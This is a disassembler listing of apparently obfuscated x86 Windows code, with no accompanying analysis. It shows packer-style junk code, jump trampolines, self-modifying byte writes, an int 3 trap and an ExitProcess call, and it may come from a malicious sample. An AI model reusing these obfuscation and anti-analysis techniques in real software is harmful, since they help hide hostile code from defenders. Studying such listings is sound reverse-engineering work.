push 0E38F72CBh
pop edx
xor edx, 8BAFA8A0h
and edx, 0BFB9C219h
xor edx, 0F9BF6DF4h
push offset loc_42E61F
jmp loc_42CCE4
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42DEB5: ; DATA XREF: sub_42CD93+7E0o
add edx, eax
rol edx, 3
jmp loc_42D118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42DEBF: ; CODE XREF: sub_42CD93:loc_42D566j
js loc_42E4DE
call loc_42D10E
add [eax-17h], dl
popa
push cs
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
db 0
dd 34870000h, 0C0815E24h, 0CE8EE006h, 0E9240487h, 0FFFFEFBFh
dd 23BE8h, 0E9EA8700h, 442h, 899D0000h, 0EE99E92Eh, 0FFFFh
dd 42D4A768h, 0C58E900h, 87000000h, 685F243Ch, 42E8D9h
dd 9C1E9h
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_42DF16 proc near ; CODE XREF: lsqvqpii:loc_42D1A4p
push offset loc_42D841
jmp nullsub_21
sub_42DF16 endp
; ---------------------------------------------------------------------------
db 0
byte_42DF21 db 81h, 0C1h, 77h ; DATA XREF: lsqvqpii:0042D0E3o
dd 9DED5699h, 689C098Bh, 0F4993A5Eh, 0FC39E95Ah, 0C300FFFFh
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D52F
loc_42DF39: ; CODE XREF: sub_42D52F+Aj
jmp loc_42D88A
; END OF FUNCTION CHUNK FOR sub_42D52F
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42DF3F: ; CODE XREF: sub_42DC4F+A48j
cmp ebp, 6F7BD6A4h
jmp loc_42DFF4
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
dw 0C600h
; ---------------------------------------------------------------------------
add al, bl
pop edx
push edx
mov edx, esi
push 42DE5Eh
jmp locret_42E989
; ---------------------------------------------------------------------------
dd 0C300h ; CODE XREF: lsqvqpii:loc_42EC10j
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42DF60: ; CODE XREF: sub_42EDBB-5E0j
jmp loc_42E722
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
align 2
word_42DF66 dw 9C52h ; DATA XREF: lsqvqpii:0042E3FCo
dd 3DE24D68h, 0C2C15A97h, 46F2810Ah, 0E8D7B13Fh, 0FFFFF61Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
locret_42DF7E: ; CODE XREF: lsqvqpii:0042E815j
retn
; ---------------------------------------------------------------------------
align 10h
loc_42DF80: ; CODE XREF: lsqvqpii:0042CEBDj
jmp near ptr dword_42CCEC+1Fh
; ---------------------------------------------------------------------------
align 2
jmp loc_42EBE3
; ---------------------------------------------------------------------------
align 4
dd 0D3946800h, 0B0E90042h, 0FFFFFEh, 0BE243C87h, 42E371h
dd 787E9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42DFA6: ; CODE XREF: lsqvqpii:loc_42E6B4j
push 42D450h
jmp locret_42E324
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42DFB1: ; CODE XREF: lsqvqpii:loc_42CAA8j
call sub_42E6D7
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D1B0
loc_42DFB7: ; CODE XREF: sub_42D1B0+Cj
jmp locret_42E4AD
; END OF FUNCTION CHUNK FOR sub_42D1B0
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DFBE: ; CODE XREF: sub_42E407:loc_42D85Bj
jz loc_42CE96
jmp loc_42DD67
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 0Fh, 85h, 4Bh
dd 0E8000006h, 0FFFFF601h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42DFD5: ; CODE XREF: sub_42E407+104j
test eax, ebp
jmp loc_42CE64
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 0BAC28100h, 35C6977h, 3F355AFAh
dword_42DFE8 dd 243C8702h, 62E9D0FFh, 4; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42DFF4: ; CODE XREF: sub_42DC4F+2F6j
jno loc_42DB5A
loc_42DFFA: ; CODE XREF: sub_42DC4F+A40j
add ecx, 0FFA2B4F8h
popf
xchg ecx, [esp+0]
jmp loc_42EB9D
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
db 2 dup(0), 55h
dd 59240C87h, 0D826D368h, 0BAE95B6Bh, 0FFFFF6h
db 0
; ---------------------------------------------------------------------------
loc_42E01D: ; CODE XREF: lsqvqpii:loc_42D8CFj
xor eax, 0B2B81F32h
and eax, 0E8E859BBh
add eax, 0D7DAC590h
loc_42E02F: ; DATA XREF: lsqvqpii:0042D591o
sub eax, 0F716E800h
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
loc_42E037: ; CODE XREF: lsqvqpii:0042D0E8j
jmp near ptr loc_42CD16+1
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42E03D: ; CODE XREF: sub_42CD93+Dj
jz loc_42D861
jmp loc_42DC46
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND]
db 0E9h
dd 0FFFFFD15h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D1E0
loc_42E052: ; CODE XREF: sub_42D1E0+5j
jmp loc_42E90E
; END OF FUNCTION CHUNK FOR sub_42D1E0
; =============== S U B R O U T I N E =======================================
sub_42E057 proc near ; DATA XREF: lsqvqpii:loc_42E868o
mov edx, [eax]
push offset loc_42E344
jmp nullsub_29
sub_42E057 endp
; ---------------------------------------------------------------------------
loc_42E063: ; CODE XREF: lsqvqpii:0042D071j
jnb loc_42E58C
test eax, 0CE93C9FAh
jmp loc_42D5CF
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E076: ; CODE XREF: lsqvqpii:0042DBBCj
jbe loc_42D06F
xchg ebx, edx
popf
mov [eax], ebx
jmp loc_42E08A
; ---------------------------------------------------------------------------
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E08A: ; CODE XREF: lsqvqpii:loc_42DBB4j
; lsqvqpii:0042E081j
call sub_42D663
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42E08F: ; CODE XREF: sub_42D877+1445j
jmp loc_42D7DA
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E096: ; CODE XREF: lsqvqpii:0042D07Bj
jmp locret_42E982
; ---------------------------------------------------------------------------
align 4
dd 34875E51h, 72846824h, 0E95E7AFBh, 0FFFFF605h
; ---------------------------------------------------------------------------
loc_42E0AC: ; CODE XREF: lsqvqpii:0042DB05j
mov byte ptr [ecx], 0FFh
pop ecx
xchg edx, [esp]
loc_42E0B3: ; DATA XREF: lsqvqpii:0042DB00o
xor ds:dword_4210C0, edx
push edi
push 520212F2h
pop edi
rol edi, 19h
jmp loc_42E2FF
; ---------------------------------------------------------------------------
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_42E0CA proc near ; CODE XREF: lsqvqpii:0042D19Fj
arg_4 = dword ptr 8
xchg edx, [esp+0]
pop edx
push ebx
mov ebx, eax
xchg ebx, [esp+0]
mov eax, ecx
xchg eax, [esp+0]
call near ptr dword_42CF68+7
add [ecx-436EB63Eh], al ; DATA XREF: lsqvqpii:0042ECDAo
leave
locret_42E0E5: ; DATA XREF: lsqvqpii:0042D908o
leave
xchg edx, [esp-8+arg_4]
retn
sub_42E0CA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42E0ED: ; CODE XREF: lsqvqpii:0042E134j
mov eax, esi
xchg eax, [esp]
mov esi, offset loc_42EB0B
jmp loc_42ED14
; ---------------------------------------------------------------------------
dd 0D0F70000h, 0FFF009E9h
db 0FFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E105: ; CODE XREF: sub_42E407:loc_42DD67j
adc edi, edx
test esi, 45E40E1Bh
jmp loc_42EB34
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
xchg ebx, [esp]
pop ebx
pop ebp
call ds:dword_4210C0 ; ExitProcess
jmp loc_42CFA8
; ---------------------------------------------------------------------------
align 4
dd 5A241487h, 0FEDEE853h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42E12E: ; CODE XREF: sub_42CD93+AD6j
jmp nullsub_18
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
align 4
jmp loc_42E0ED
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 0FFEB8F86h, 240C87FFh, 24348759h, 0FFFE82E8h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
loc_42E14E: ; DATA XREF: sub_42CD93+AD1o
push edx
pop ecx
push esi
mov esi, offset loc_42E199
jmp loc_42E194
; ---------------------------------------------------------------------------
align 4
dd 1DE5C100h, 695DE281h, 0A6E93008h, 0FFFFF3h, 580900C6h
dd 0FFF8F6E8h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42E176: ; CODE XREF: sub_42DD3F+559j
jmp loc_42CBC2
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
align 4
dd 0FDB5E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
locret_42E182: ; CODE XREF: lsqvqpii:loc_42DCE6j
retn
; ---------------------------------------------------------------------------
align 4
dd 0FFEAA4E9h, 0BD8F0FFFh, 0E9FFFFEBh, 0FFFFF5F4h
; ---------------------------------------------------------------------------
loc_42E194: ; CODE XREF: lsqvqpii:0042E156j
mov byte ptr [esi], 87h
pop esi
pop edx
loc_42E199: ; DATA XREF: lsqvqpii:0042E151o
xchg ebx, [esp]
mov esi, ebx
xchg eax, [esp]
mov ebx, eax
jmp loc_42D316
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E1AA: ; CODE XREF: lsqvqpii:0042D81Aj
and ecx, 18AB24FDh
or ecx, 0A9D3A1F8h
add ecx, 6251788Dh
add ecx, ebp
jmp loc_42E892
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_42E1C5: ; CODE XREF: lsqvqpii:loc_42EA38j
call loc_42ED42
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42E1CC: ; CODE XREF: sub_42D877-3D6j
jmp loc_42E41E
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
align 2
xchg edx, [esp]
push edx
pop ecx
push offset loc_42E4F9
jmp locret_42E4F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EA00
loc_42E1E1: ; CODE XREF: sub_42EA00-14F5j
mov byte ptr [edi], 87h
pop edi
xor edi, 72D81156h
loc_42E1EB: ; DATA XREF: sub_42EA00-14FAo
cmp [esp-4+arg_0], 0FFFFFFE9h
popa
or [eax], al
; END OF FUNCTION CHUNK FOR sub_42EA00
; ---------------------------------------------------------------------------
dw 0
dd 7B685700h, 0E90042D1h, 89Dh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E203: ; CODE XREF: lsqvqpii:0042D596j
mov byte ptr [edi], 8Bh
pop edi
pop eax
sub eax, 565680FDh
jmp loc_42D8CF
; ---------------------------------------------------------------------------
align 4
dd 0BCC78100h, 873CC0E0h, 41E9243Ch, 0FFFFF9h, 0FF32E468h
db 89h
; ---------------------------------------------------------------------------
loc_42E229: ; CODE XREF: lsqvqpii:0042DB14j
xchg esi, [esp]
mov eax, esi
xchg ecx, [esp]
mov esi, ecx
pop ecx
jmp near ptr dword_42D3EC+1Dh
; ---------------------------------------------------------------------------
loc_42E239: ; CODE XREF: lsqvqpii:loc_42CFA8j
push offset byte_42D157
jmp locret_42E65B
; ---------------------------------------------------------------------------
align 4
loc_42E244: ; CODE XREF: lsqvqpii:loc_42DA85j
add ebx, 28AA5A0Bh
xchg ebx, [esp]
jmp near ptr dword_42CC24+2
; ---------------------------------------------------------------------------
dw 6800h
dd 89FF32E4h, 42EE1E68h, 0BAFE900h, 0C3000000h
; ---------------------------------------------------------------------------
loc_42E264: ; CODE XREF: lsqvqpii:0042E88Bj
jmp loc_42E69C
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E26B: ; DATA XREF: lsqvqpii:0042D5C0o
add edx, 74AF6617h
cmp edi, edx
pop edx
jmp loc_42EB28
; ---------------------------------------------------------------------------
db 2 dup(0), 68h
dd offset loc_42D53F
; ---------------------------------------------------------------------------
jmp locret_42E406
; ---------------------------------------------------------------------------
align 2
dw 850Fh
dd 0FFFFFAC9h, 0FFED22E9h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42E292: ; CODE XREF: sub_42DD3F-E0Dj
test ecx, 20h
jmp loc_42E176
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E29F: ; CODE XREF: lsqvqpii:0042D920j
or edx, 2E347E73h
add edx, 0D14E4FDAh
jmp loc_42CAA8
; ---------------------------------------------------------------------------
dd 0F9D0000h, 0FFF3BD8Bh, 4A3E9FFh, 992C0000h, 0FFE9ACE8h
db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E2C7: ; CODE XREF: sub_42E407-707j
add edx, 0ACDE3745h
jmp loc_42CAA2
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
sub_42E2D3 proc near ; CODE XREF: lsqvqpii:0042D4C3p
; FUNCTION CHUNK AT 0042DAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E5F8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042E9D3 SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
add edi, 0C0725E6h
mov edi, [edi]
popf
jmp loc_42DAD1
sub_42E2D3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 2
mov byte ptr [edx], 0Fh
pop edx
call sub_42D1B0
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E2EF: ; CODE XREF: sub_42E407+1Ej
and ebx, 3FBB7CB1h
; END OF FUNCTION CHUNK FOR sub_42E407
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42E2F5: ; CODE XREF: sub_42D877:loc_42D49Bj
jmp loc_42D53F
; ---------------------------------------------------------------------------
loc_42E2FA: ; CODE XREF: sub_42D877+6j
call sub_42D010
loc_42E2FF: ; CODE XREF: lsqvqpii:0042E0C3j
jmp loc_42EA49
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dd 0FFF962E9h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
loc_42E30A: ; CODE XREF: lsqvqpii:0042CA9Bj
jmp loc_42DB64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42E30F: ; CODE XREF: sub_42DD3F:loc_42CBC2j
; lsqvqpii:0042CBD7j
add ecx, 0F8025567h
popf
loc_42E316: ; DATA XREF: sub_42DD3F+5o
mov ecx, [ecx]
pushf
push 0E93DC290h
jmp loc_42EAE8
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
align 4
locret_42E324: ; CODE XREF: lsqvqpii:0042DFABj
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E327: ; CODE XREF: lsqvqpii:0042D853j
jmp locret_42CAD8
; ---------------------------------------------------------------------------
dd 0E843E900h
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_42E332 proc near ; CODE XREF: lsqvqpii:0042CD5Ep
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 0042DAE3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042E359 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042E511 SIZE 00000029 BYTES
xchg ebx, [esp+0]
pop ebx
xor ebx, 0DFEF71F3h
loc_42E33C: ; DATA XREF: lsqvqpii:0042D933o
mov [esp-4+arg_0], bl
call loc_42D694
loc_42E344: ; DATA XREF: sub_42E057+2o
or edx, edx
jz loc_42E7D7
push ebx
mov ebx, edi
xchg ebx, [esp+0]
jmp loc_42E511
sub_42E332 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E332
loc_42E359: ; CODE XREF: sub_42E332+203j
mov byte ptr [edi], 50h
pop edi
push edi
mov edi, ecx
jmp loc_42DAE3
; END OF FUNCTION CHUNK FOR sub_42E332
; =============== S U B R O U T I N E =======================================
sub_42E365 proc near ; CODE XREF: lsqvqpii:0042EC0Bp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042EC2B SIZE 00000005 BYTES
xchg ebx, [esp+0]
xchg eax, [esp+0]
mov ebx, eax
pop eax
xchg edi, [esp-4+arg_0]
inc ebx
add eax, offset byte_42DE10
push offset loc_42EAA7
jmp loc_42EC2B
sub_42E365 endp
; ---------------------------------------------------------------------------
xchg ebp, [esi]
jmp loc_42E9DA
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E389: ; CODE XREF: sub_42E407:loc_42E4EBj
and esi, 408D84F1h
xor esi, 21D26F36h
add esi, 9EE6F190h
jmp loc_42D611
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 0C30000h, 0FA95E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42E3AA: ; CODE XREF: sub_42DC4F-B76j
jmp loc_42E966
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
loc_42E3B1: ; CODE XREF: lsqvqpii:0042DABCj
xchg esi, [esp]
pop esi
popf
xchg edx, [esp]
jmp loc_42EA38
; ---------------------------------------------------------------------------
align 10h
dd 0EBA9830Fh, 0CBC1FFFFh, 0EE12E90Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42E3CE: ; CODE XREF: lsqvqpii:loc_42E58Cj
xchg ebx, [esp]
pop ebx
lea eax, byte_42DDCD
push eax
call sub_42D52F
add [edx-7Fh], bl ; CODE XREF: sub_42E407:loc_42E4AEj
loop near ptr loc_42E425+2
add ecx, eax
mov ebp, 721C281h
mov dl, 4Eh
add edx, ebp
jmp loc_42EDE7
; ---------------------------------------------------------------------------
loc_42E3F3: ; CODE XREF: lsqvqpii:0042E580j
test ebx, edx
pop edx
jmp loc_42D6AC
; ---------------------------------------------------------------------------
pop edi
push offset word_42DF66
jmp loc_42EC10
; ---------------------------------------------------------------------------
locret_42E406: ; CODE XREF: lsqvqpii:0042E280j
retn
; =============== S U B R O U T I N E =======================================
sub_42E407 proc near ; CODE XREF: sub_42D877:loc_42D232p
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042CAA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CAAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC71 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042CE64 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042CE96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CED3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CFBA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042CFE0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D12C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D1AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D1C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D22D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D35E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042D3E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D520 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D611 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D651 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D7C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D806 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D85B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D94C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D97E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042DB39 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042DBA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DC2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DCF1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042DD67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DFD5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042E105 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E2C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E2EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042E389 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E505 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E5BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E65C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042E6E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E8C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E903 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E9BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E9F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042EAEF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042EB34 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042EC99 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042ED56 SIZE 00000007 BYTES
xchg edi, [esp+0]
pop edi
push esi
push 2984F384h
pop esi
xor esi, 0C67D769Fh
jmp loc_42E4EB
; ---------------------------------------------------------------------------
align 2
loc_42E41E: ; CODE XREF: sub_42D877:loc_42E1CCj
sbb ebp, 34825E0h
popf
loc_42E425: ; CODE XREF: lsqvqpii:0042E3E1j
jmp loc_42E2EF
; ---------------------------------------------------------------------------
align 4
dd 6319D581h, 9BE9AD0Dh, 0FFFFFAh
db 0
; ---------------------------------------------------------------------------
loc_42E439: ; CODE XREF: lsqvqpii:0042D586j
; lsqvqpii:loc_42E69Cj
push ebx
mov ebx, edx
xchg ebx, [esp+0]
call sub_42EB86
; ---------------------------------------------------------------------------
db 2 dup(0), 55h
; ---------------------------------------------------------------------------
loc_42E447: ; CODE XREF: sub_42DC4F+D20j
sbb ebx, 804F2756h
sbb edi, esi
call sub_42E7E2
add cl, ch
sahf
add [eax], eax
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
jmp nullsub_27
; ---------------------------------------------------------------------------
db 2 dup(0), 0E9h
dd 0FFFFE87Ah, 0C7C10000h, 0B3EF810Fh, 0E8BCC359h, 0FFFFF03Ah
db 0
; ---------------------------------------------------------------------------
loc_42E479: ; CODE XREF: sub_42EC73-FC3j
mov byte ptr [edx], 8Bh
pop edx
xor eax, 7B60D942h
or eax, 30A08CE4h
and eax, 249A1F4Dh
add eax, 0DFC1F4D8h
jmp loc_42D520
; ---------------------------------------------------------------------------
loc_42E49A: ; CODE XREF: sub_42E407:loc_42D22Dj
jl loc_42D12C
add [ecx-784E2703h], al
int 3 ; Trap to Debugger
jmp loc_42CFE0
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
locret_42E4AD: ; CODE XREF: sub_42D1B0:loc_42DFB7j
retn
; ---------------------------------------------------------------------------
loc_42E4AE: ; CODE XREF: lsqvqpii:0042E8A3j
jmp near ptr loc_42E3DE+1
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_42E4B5: ; CODE XREF: sub_42D338+10j
jmp loc_42DCF1
; ---------------------------------------------------------------------------
word_42E4BA dw 8B50h ; DATA XREF: sub_42D1B0+7o
dd 240487C1h, 0FFEB30E8h
db 0FFh, 0
word_42E4C6 dw 6D68h ; DATA XREF: lsqvqpii:0042D79Ao
dd 0E90042DDh, 0FFFFFB7Bh, 0F934E900h
db 2 dup(0FFh)
word_42E4D6 dw 0 ; CODE XREF: sub_42D877+CDCj
; ---------------------------------------------------------------------------
jmp loc_42E9BD
; ---------------------------------------------------------------------------
align 2
loc_42E4DE: ; CODE XREF: sub_42CD93+7D9j
; sub_42CD93:loc_42DEBFj
lodsb
add edx, eax
rol edx, 3
jmp loc_42CC5D
; ---------------------------------------------------------------------------
locret_42E4E9: ; CODE XREF: lsqvqpii:0042D79Fj
retn
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42E4EB: ; CODE XREF: sub_42E407+11j
jmp loc_42E389
sub_42E407 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_42E4F0: ; CODE XREF: lsqvqpii:0042E1DCj
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D2AC
loc_42E4F3: ; CODE XREF: sub_42D2AC+96Dj
jmp loc_42D95C
; END OF FUNCTION CHUNK FOR sub_42D2AC
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42E4F9: ; DATA XREF: lsqvqpii:0042E1D7o
push eax
mov eax, offset loc_42E95A
jmp loc_42E955
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E505: ; CODE XREF: sub_42E407:loc_42E929j
jnz sub_42EA00
jmp loc_42DFD5
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E332
loc_42E511: ; CODE XREF: sub_42E332+20j
push 40363191h
pop edi
and edi, 9DD2CF1Ah
or edi, 9215CBA1h
add edi, 0A8CE8E8Bh
and edi, 0AEA92EFBh
add edi, 0D5A2D0B0h
jmp loc_42E359
; END OF FUNCTION CHUNK FOR sub_42E332
; ---------------------------------------------------------------------------
align 4
dd 6E9CE3Bh, 0FFFFEDh
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42E545: ; CODE XREF: sub_42D877:loc_42EA6Dj
; sub_42D877+13F1j
push edx
call near ptr loc_42E54B+1
loc_42E54B: ; CODE XREF: sub_42D877+CCFp
add [edi+685B241Ch], al
jno short loc_42E5A4
jp short near ptr word_42E4D6
pop edx
xor edx, 0D8BE19Ch
add edx, 638FA1DCh
jmp loc_42CC01
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
align 4
or edx, 20DE2F0Ah
xor edx, 45AECDD1h
or edx, 0A934CC8h
add edx, 112C0132h
jmp loc_42E3F3
; ---------------------------------------------------------------------------
align 2
sub edi, 0A2466F32h
loc_42E58C: ; CODE XREF: lsqvqpii:loc_42E063j
jmp loc_42E3CE
; ---------------------------------------------------------------------------
byte_42E591 db 0C6h, 6, 9Dh ; DATA XREF: lsqvqpii:loc_42D6BDo
dd 2414875Eh, 0FFEAB2E8h, 810000FFh, 2CB894E5h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42E5A4: ; CODE XREF: sub_42D877+CDAj
popa
jmp loc_42ED42
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D080
loc_42E5AA: ; CODE XREF: sub_42D080:loc_42DD8Cj
add ebx, 2E40C1E1h
